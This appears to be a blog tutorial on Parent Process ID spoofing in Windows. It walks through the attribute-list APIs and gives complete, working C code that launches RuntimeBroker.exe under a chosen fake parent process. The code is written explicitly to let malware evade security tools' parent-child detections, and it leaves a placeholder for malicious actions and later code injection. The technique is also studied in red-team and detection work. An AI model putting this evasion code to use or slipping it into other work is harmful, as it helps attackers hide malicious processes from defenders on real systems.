PPID Spoofing
Parent Process ID Spoofing is a obfuscation technique used to modify the PPID of a process and tampering the relationship between two processes.
Security tools often look for abnormal parent-child processes, so this technique can be leveraged to bypass these detections by changing the PPID of a spawned chill process to one belonging to another process not related with the malware .
Attributes List
Each process or thread has a data structure that stores attributes about them. These attributes can be modified at runtime because there is information such as priority, state, etc.
The PPID Spoofing technique uses this structure to modify the PPID attribute with another PID.
Step 1: Creating a Process
The first step needed to correctly perform the PPID spoofing technique is to create the child process using the CreateProcess
API call with the EXTENDED_STARTUPINFO_PRESENT flag. When using this flag, we can provide some attributes when creating the process by using another structure named STARTUPINFOEXA:
1
2
3
4
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
StartupInfo
is another structure with some information about the start of a process. The only value that has to be set iscb
with the size of the structure (sizeof(STARTUPINFOEX)
). Reference this documentation for more information.lpAttributeList
is created using the InitializeProcThreadAttributeList function call. This is the attributes list with the information we want to tamper.
Step 2: Initialize the Attribute List
We first need to initialize this structure using the function mentioned previously.
1
2
3
4
5
6
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
DWORD dwFlags, // NULL (reserved)
[in, out] PSIZE_T lpSize
);
dwAttributeCount
is a counter with the number of attribute lists needed, so we will use 1.
The function must be called twice:
- We call the function a first time to initialize the list. In this call, the
lpAttributeList
parameter must be NULL. The function will return the size of the struct in thelpSize
parameter. - We call it a second time and we will obtain a valid
lpAttributeList
pointer. We also use the samelpSize
obtained in the first call.
Step 3: Update The Attribute List
Now that we have the attribute list correctly initialized, we need to update it with the false PPID. We will use the UpdateProcThreadAttribute WinAPI call:
1
2
3
4
5
6
7
8
9
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // return value from InitializeProcThreadAttributeList
[in] DWORD dwFlags,
[in] DWORD_PTR Attribute,
[in] PVOID lpValue, // pointer to the attribute value
[in] SIZE_T cbSize, // sizeof(lpValue)
[out, optional] PVOID lpPreviousValue,
[in, optional] PSIZE_T lpReturnSize
);
- The
Attribute
flag needs to be set asPROC_THREAD_ATTRIBUTE_PARENT_PROCESS
. This tells the function what attribute has to be modified (PPID in our case). lpValue
is the new value that will be assigned to the attribute. In this specific case of the PPID, we need to send the handle of the parent process instead of directly sending the PPID.cbSize
is the size of the new value (sizeof(HANDLE)
).
Putting it all together
In this section I will provide the code to perform all the steps mentioned above. The executable function will require a PID as input. This PID belongs to the process that will be the “fake” parent process of the new created process.
Since in Step 3 we need the handle of the parent process, one of the first things we have to do is to open a handle to that process so we can use it later.
We will put all the PPID modifications in a individual function, hence, the main function looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define TARGET_PROCESS "RuntimeBroker.exe -Embedding"
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] Missing \"Parent Process Id\" Argument \n");
return -1;
}
//Asign the input PID to the variable and define other required variables
DWORD dwPPid = atoi(argv[1]),
dwProcessId = NULL;
HANDLE hPProcess = NULL,
hProcess = NULL,
hThread = NULL;
// openning a handle to the parent process
if ((hPProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPPid)) == NULL) {
printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
return -1;
}
printf("[i] Spawning Target Process \"%s\" With Parent : %d \n", TARGET_PROCESS, dwPPid);
// Call the function that performs the PPID modification, the function will return
// handles to the new process and the main thread.
if (!PPIDSpoofing(hPProcess, TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
return -1;
}
printf("[i] Target Process Created With Pid : %d \n", dwProcessId);
/* Malicious actions here */
printf("[#] Press <Enter> To Quit ... ");
getchar();
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
Now we will create a function that performs all the steps mentioned before.
This function gets as input the handle of the parent process and the new process name and returns the PID of the new process, a handle of the new process and the handle of the main thread of that process.
1
BOOL PPIDSpoofing(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
Next, we will define needed variables and set the memory to zero to ensure that everything is defined as expected:
1
2
3
4
5
6
7
8
9
10
11
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
SIZE_T sThreadAttList = NULL;
PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
STARTUPINFOEXA SiEx = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Now, as explained in Step 1, we will set the cb
to the size of the structure. We also get the WinDir environmental variable to concatenate with the process name in order to create the full path of the new process.
1
2
3
4
5
6
7
8
9
// Setting the size of the structure
SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
As explained in Step 2, we need to call the InitializeProcThreadAttributeList
function two times. In the first one we will get the size of the Attribute List, so we can allocate memory and call it a second time to obtain the initialized struct in the pThreadAttList
variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
// Allocating enough memory
pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
if (pThreadAttList == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Calling InitializeProcThreadAttributeList again, but passing the right parameters
if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
return FALSE;
}
Now, we can perform the Step 3 and update the PPID attribute by using the handle of the parent process. Once this has been performed, we assign this new attribute list to the SiEx
variable that has all the Startup Info that will be used to start the new process:
1
2
3
4
5
if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
return FALSE;
}
SiEx.lpAttributeList = pThreadAttList;
Finally, we can create the process using the EXTENDED_STARTUPINFO_PRESENT
flag and sending the SiEx.StartupInfo
object.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&SiEx.StartupInfo,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// filling up the OUTPUT parameter with 'CreateProcessA's output'
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// cleaning up
DeleteProcThreadAttributeList(pThreadAttList);
CloseHandle(hParentProcess);
// doing a small check to verify we got everything we need
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
This code won’t perform any malicious actions by itself, it will just start a process with a fake parent process. Malicious actions should take place later, by injecting code to the newly created process.
Execution
In this example, I execute the code and I send a PID that belongs to the Riot Client Service process:
If I now search for the new process with PID 32632 and I see the properties, I see that the Riot Games Service Process is it’s parent, instead of the PPIDSpoofing process that I used to create the process: